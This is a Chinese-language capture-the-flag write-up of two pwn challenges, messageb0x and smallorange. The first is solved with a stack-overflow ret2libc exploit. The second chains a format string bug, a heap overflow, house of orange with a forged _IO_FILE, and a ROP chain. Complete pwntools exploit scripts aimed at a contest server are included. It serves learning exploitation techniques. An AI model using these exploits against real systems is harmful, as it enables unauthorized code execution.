好久没打安恒杯的月赛,此次12月的月赛只有两道pwn题,本着复习累了看看pwn题的心态,结果为了复现第二题荒废复习时间,真香啊,期末挂科预定了Orz

第一题是栈溢出的漏洞,第二题的堆的漏洞

难度相差了个银河系

messageb0x

保护机制如下:

Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

只开了个nx,32位的程序

这题的漏洞点主要在这两个函数:

int process_info()
{
  char v1; // [esp+0h] [ebp-58h]
  char v2; // [esp+32h] [ebp-26h]
  char s; // [esp+46h] [ebp-12h]

  puts("--> Plz tell me who you are:");
  fgets(&s, 0xA, stdin);
  printf("--> hello %s", &s);
  puts("--> Plz tell me your email address:");
  fgets(&v2, 0x14, stdin);
  puts("--> Plz tell me what do you want to say:");
  fgets(&v1, 0xC8, stdin);//此处栈溢出
  puts("--> Here is your info:");
  puts(&v1);
  return puts("--> Thank you !");
}

char *jumper()
{
  char s; // [esp+Ch] [ebp-1Ch]

  puts("Do you know the libc version?");
  return gets(&s);//此处栈溢出
}

思路很简单

由于存在栈溢出,那么就只需要分三步走:

exp如下:

#encoding:utf-8
#!/upr/bin/env python
from pwn import *
context.log_level = "debug"
bin_elf = "./messageb0x"
context.binary=bin_elf
elf = ELF(bin_elf)

if sys.argv[1] == "r":
    libc = ELF("./libc6-i386.so")
    p = remote("101.71.29.5",10009)
elif sys.argv[1] == "l":
    libc = elf.libc
    p = process(bin_elf)
#-------------------------------------
def sl(s):
    return p.sendline(s)
def sd(s):
    return p.send(s)
def rc():
    return p.recv()
def sp():
    print "---------暂停中---------"
    return raw_input()
def ru(s, timeout=0):
    if timeout == 0:
        return p.recvuntil(s)
    else:
        return p.recvuntil(s, timeout=timeout)
def sla(p,a,s):
    return p.sendlineafter(a,s)
def sda(p,a,s):
    return p.sendafter(a,s)
def getshell():
    p.interactive()
#-------------------------------------
main = 0x08049386
jump =0x0804934d
puts_plt =elf.plt["puts"]
puts_got =elf.got["puts"]

payload = "a"*(0x58+4)+p32(puts_plt)+p32(jump)+p32(puts_got)
sla(p,"--> Plz tell me who you are:\n","aaaa")
sla(p,"--> Plz tell me your email address:\n","aaaa")
sla(p,"--> Plz tell me what do you want to say:\n",payload)
ru("--> Thank you !\n")
puts= u32(p.recv(4))
print "puts--------->",hex(puts)#通过puts真实地址去libcdatabase查询偏移
libc_base = puts- 0x05f140#远程端的libc偏移
print "libc_base--------->",hex(libc_base)

system = libc_base+0x03a940#远程端的libc偏移
binsh = libc_base+0x15902b#远程端的libc偏移
one = libc_base +0x35938#远程端的libc偏移

payload = "a"*(0x1c+4)+p32(system)+p32(0)+p32(binsh)
sla(p,"Do you know the libc version?\n",payload)
getshell()

这题的libc偏移需要在libcdatabase里面去找,本地和远程端是不一样的

smallorange

看到这题目名,大概就能猜到很可能是house of orange的操作了

然而比赛的时候还是没有搞出这题,赛后复现的时候终于搞懂了

这题的确是骚,学了一波操作

64位,开nx和canary

Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

进IDA看逻辑:

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  void *v3; // rax
  int v4; // eax
  int v5; // [rsp+8h] [rbp-48h]
  int v6; // [rsp+Ch] [rbp-44h]
  char s; // [rsp+10h] [rbp-40h]
  int *v8; // [rsp+38h] [rbp-18h]
  unsigned __int64 v9; // [rsp+48h] [rbp-8h]

  v9 = __readfsqword(0x28u);
  alarm(0x3Cu);
  v5 = 0xA0;//初始设定为0xa0
  v8 = (&v5 + 1);
  memset(&s, 0, 0x28uLL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  puts("hahaha,come to hurt by ourselves");
  getname(&s);                                  // 格式化字符串泄漏,最多6个字符
  v3 = malloc(0x100uLL);
  printf("\nheap addr:%p\n", v3);
  while ( 1 )
  {
    write(1, "1:new\n2:old\n", 0xCuLL);
    write(1, "choice: ", 8uLL);
    v4 = getnum();
    v6 = v4;
    if ( v4 == 1 )
    {
      new(&v5);                                 // 读入0xa0个字节
    }
    else if ( v4 == 2 )
    {
      out();
    }
  }
}
-----------------------------------------------
int __fastcall getname(void *a1)
{
  signed int i; // [rsp+1Ch] [rbp-4h]

  read(0, a1, 0x28uLL);
  for ( i = 0; i <= 0x21; ++i )
  {
    if ( *(a1 + i) == '%' )
      exit(0);
  }
  return printf(a1, a1);//存在格式化字符串漏洞
}
-----------------------------------------------
__int64 __fastcall new(unsigned int *a1)
{
  __int64 result; // rax
  void *buf; // [rsp+18h] [rbp-8h]
  buf = malloc(0x100uLL);
  if ( !buf )
    exit(0);
  puts("text:");
  read(0, buf, *a1);//读入v5个字节,可修改v5为很大的数值
  puts("yes");
  LODWORD(result) = total++;
  result = result;
  list[result] = buf;
  return result;
}

这里可以发现两个漏洞点,第一个是在getname函数中,存在格式化字符串的漏洞,但只能使用六个字符利用这个漏洞,第二个是在往0x100大小的chunk中读入数据的时候,v5是在栈上的值,可以通过格式化字符串漏洞来修改,造成堆溢出的漏洞

另外在IDA中,看到一个edit函数从来没有被调用过

ssize_t __fastcall edit(__int64 a1)
{
  int v1; // ST1C_4

  puts("index:");
  v1 = getnum();
  return read(0, *(8LL * v1 + a1), 0x100uLL);
  //如果调用该函数,则可以造成栈溢出漏洞
}

分析完之后,我们发现有格式化字符串漏洞,有堆溢出漏洞,有未被调用的edit函数,以及题目提示的house of orange

那么思路就是这样的:

首先分析如何利用格式化字符串漏洞:

由于该程序是64位的程序,因此函数的前六个参数都是存放在寄存器的,从第七个开始才是放在栈上的,因此要先找到%7$p的位置,再通过%n来改写v5(v5一开始是0xa0)

我们先在getname函数的call printf指令处下个断点,观察在栈的布局

可以看到,当我们输入"a"*0x22 +"%7$p"的时候,第七个参数位置上的值是:0x7fff1200e9d0

而在gdb中看栈的布局,我们又可以发现 ,v5的值是0xa0,也就是控制写入chunk的数量,在第19个参数位置的值是0x7fff1200e9c9,恰好是指向v5的指针,那么我们就可以通过%19$n来改变v5的值,使他变成一个大于0x100的数,从而实现堆溢出

输入"a"*0x22 +"a%19$n"的效果如下:

这时就可以造成堆溢出了,另外我们还能通过格式化字符串漏洞,得到一个栈的地址,后边在调用edit函数的时候会有用处


那么接下来,就是对堆漏洞的利用了,纵观整道题,只有mallo(0x100)和free(0x100),且free的时候list[]也会相应的清空,没法进行uaf

那么这个时候就要用到house of orange的操作了

关于house of orange的相关知识,这里贴一下链接,具体原理不详细展开讲,不然要说的东西就太多了

veritas501

https://bbs.pediy.com/thread-222718.htm

http://tacxingxing.com/2018/01/10/house-of-orange/

CTF-All-In-One

ctf-wiki

这个操作的关键点:

一、要能实现堆溢出,修改下一个chunk的size

二、要知道_IO_list_all的地址,并且能够修改内容

三、引发报错

首先我们通过unsorted bin attack,将_IO_list_all指向 unsorted bin-0x10的位置

由于我们并不知道_IO_list_all的真实地址,所以得靠猜,我们可以通过libc.sym[“ _IO_list_all”]获得末三位的偏移:520,这三位是不会发生改变的,因此我们可以通过输入\x10\x55来实现爆破,其中\x55可以为\x05~\xf5
有十六分之一的概率能覆盖成功

第一步:

首先申请四个chunk(chunk1、3是为了防止相邻合并)

free掉chunk0、chunk2

这时 unsorted bin <---chunk2 <--- chunk0

第二步:

这时再分配一次chunk,实际还是得到chunk0的地址

通过chunk0,溢出到chunk2,修改chunk2的pre_size和size,其中修改size为0x61

改bk为_IO_list_all-0x10

第三步:

再次创建一个chunk(0x100)的时候就会引发报错,因为unsorted bin中的size为0x61,不满足条件,那么这个bin就会被移到small bin里面去,在脱离unsorted bin 的时候,_IO_list_all就指向了 <main_arena+88>

这时由于chunk2的size被改成了0x61,因此在small bin[5]的地方,也就是<main_arena+184>

而这个偏移的位置,正好对应了_IO_list_all中的chain,也就通过这个chain,指向了下一个 _IO_FILE

也就是说下一个 _IO_FILE的内容构造可以受我们控制,因为他就在chunk2里面

于是我们只要往chunk2里面存放我们提前构造好的 _IO_FILE结构,就可以实现house of orange的操作

通过构造我们使得,chunk2 中的 _IO_FILE为:

我们知道,_IO_FILE中的各种利用,无非就是通过各种结构体的某个成员进行构造,然后实现跳转执行函数

在house of orange中,最终要实现的就是调用_IO_OVERFLOW (fp, EOF) == EOF)

而_IO_OVERFLOW存在于vtable中,所以我们还得构造一个vtable,而在这一系列的利用中,还得避开很多的检查机制,总结如下:

绕过检查的三个条件

  1. fp->mode大于0
  2. fp->_IO_vtable_offset 等于0
  3. fp->_wide_data->_IO_write_ptr 大于 fp->IO_wide_data->IO_write_base

通过精心构造:

最终实现调用_IO_OVERFLOW (fp, EOF) == EOF),实际上是调用edit(stack),那么fp的第一项也就是flags成员存储的就是stack的地址


实现了调用edit(stack)

接下来就是构造一大条rop链

那我们得先找gadget,这几个gadget也是有点东西,主要用了以下几条:

pop_rdi = 0x400ca3
pop_gadget =0x400c9a
#pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
mov_gadget = 0x400c80
#mov rdx, r13 ; mov rsi, r14 ; mov edi, r15d ; call qword ptr [r12 + rbx*8]

是的,就是两个经典的gadget

算是比较骚的rop构造方式,也很值得学习

构造rop,实现一个libc的泄漏,然后再执行system(/bin/sh)

或者直接跳onegadget也行

最后exp如下

#encoding:utf-8
#!/upr/bin/env python
from pwn import *
context.log_level = "debug"
bin_elf = "./smallorange"
context.binary=bin_elf
elf = ELF(bin_elf)

if sys.argv[1] == "r":
    libc = ELF("./libc-2.23.so")
    p = remote("101.71.29.5",10008)
elif sys.argv[1] == "l":
    libc = elf.libc
#-------------------------------------
def sl(s):
    return p.sendline(s)
def sd(s):
    return p.send(s)
def rc():
    return p.recv()
def sp():
    print "---------暂停中---------"
    return raw_input()
def ru(s, timeout=0):
    if timeout == 0:
        return p.recvuntil(s)
    else:
        return p.recvuntil(s, timeout=timeout)
def sla(p,a,s):
    return p.sendlineafter(a,s)
def sda(p,a,s):
    return p.sendafter(a,s)

def getshell():
    p.interactive()
#-------------------------------------
def new(text):
    p.recvuntil('choice: ')
    p.sendline('1')
    p.recvuntil('text:\n')
    p.send(text)
def old(index):
    p.recvuntil('choice: ')
    p.sendline('2')
    p.recvuntil('index:\n')
    p.sendline(str(index))

while True:
    try:
        p = process(bin_elf)
        #gdb.attach(p,"b *0x400A67")

        payload ="a"*0x22 +"a%19$n"
        sda(p,"hahaha,come to hurt by ourselves\n",payload)
        ru("a"*0x23)

        stack =u64(p.recv(6).ljust(8,"\x00"))-0x549
        print "leak stack---->",hex(stack)
        ru("addr:0x")
        heap = int(p.recv(7),16)+0x320#指向chunk2
        print "heap stack---->",hex(heap)

        new("a"*0xa0)#chunk0
        new("b"*0xa0)#chunk1
        edit = 0x400b59
        #伪造io file
        payload1=p64(0x0)*2
        payload1+=p64(0x0)*2  
        payload1+=p64(0x0)+p64(0x0)
        payload1+=p64(0x1)+p64(edit)#覆盖overflow
        payload1+=p64(0x0)*2
        payload1+=p64(0x0)*2
        payload1+=p64(0x0)*2
        payload1+=p64(0x0)*2
        payload1+=p64(0x0)*2
        payload1+=p64(heap+0x20)+p64(0x0)#覆盖wide_data
        payload1+=p64(0x0)*2
        payload1+=p64(0x01)+p64(0x0)
        payload1+=p64(0x0)+p64(heap+0x30)#覆盖vtable #0xd8

        new(payload1)#chunk2
        new("d"*0xa0)#chunk3

        old(0)

        old(2)
        #sp()
        print "_IO_list_all:",hex(libc.sym["_IO_list_all"])
        #_IO_list_all的末三位偏移为520,覆盖为_IO_list_all-0x10
        #因此输入"\x10\x55",其中\x55可以为\x05~\xf5
        #有十六分之一的概率能覆盖成功

        #gdb.attach(p)
        #sp()

        payload2="a"*0x210#溢出chunk0至chunk2
        payload2+=p64(stack)+p64(0x61)#改chunk2的pre_size和size
        payload2+=p64(0x0)+'\x10\xa5'#改bk为_IO_list_all-0x10
        #sp()
        #raw_input('go')
        new(payload2)
        #sp()
        #如果成功通过house of orange改变了程序流程,那么会执行edit函数
        ru('choice: ')
        sl('1')#触发报错
        #sp()
        ru('index:')
        sl('0')#执行edit()函数
        sleep(0.5)

        pop_rdi = 0x400ca3
        pop_gadget =0x400c9a
        #pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
        mov_gadget = 0x400c80
        #mov rdx, r13 ; mov rsi, r14 ; mov edi, r15d ; call qword ptr [r12 + rbx*8]

        payload3='1'*8
        payload3+=p64(pop_gadget)
        payload3+=p64(0x0)#rbx
        payload3+=p64(0x1)#rbp
        payload3+=p64(elf.got["write"])#r12-->write_got
        payload3+=p64(0x8)#r13
        payload3+=p64(elf.got["puts"])#r14-->puts_got
        payload3+=p64(0x1)#r15
        payload3+=p64(mov_gadget)#write(1,puts_got,8)
        #add     rbx, 1
        #cmp     rbx, rbp
        #jnz     short loc_400C80
        #此处rbx=rbp因此不跳转,继续往下执行
        payload3+='1'*8#add rsp,8 
        payload3+=p64(0x0)#pop rbx 
        payload3+=p64(0x1)#pop rbp 
        payload3+=p64(elf.got["read"])#pop r12-->read_got
        payload3+=p64(0x100)#pop r13
        payload3+=p64(stack+0x80)#pop r14
        payload3+=p64(0x0)#pop r15
        payload3+=p64(mov_gadget)#retn-->read(0,stack+0x80,0x100)
        sd(payload3)

        leak=ru('\x7f')
        free=u64(leak[-6:]+'\x00'*2)
        print "puts is----->",hex(free)
        libc_base = free-libc.sym["puts"]
        one = libc_base+0xf02a4
        print "libc_base is----->",hex(libc_base)
        system = libc_base+libc.sym["system"]
        #payload4=p64(one)
        payload4=p64(pop_rdi)#pop rdi ret
        payload4+=p64(stack+0x98)
        payload4+=p64(system)
        payload4+='/bin/sh\x00'
        sl(payload4)
        print 'get a shell'
        break
    except :
        p.close()
        print "fail!continue!-----------------"

getshell()

终于把这题分析完了,可以看到从格式化字符串到house of orange到ROP,知识点一环扣一环,其中还有很多艰辛的苦逼调试的过程,学习了很多,这题的质量真的可以

我大哥1mpossible,还记载了另一种非预期解法,也非常值得学习,有兴趣的可以看看

源链接

Hacking more

...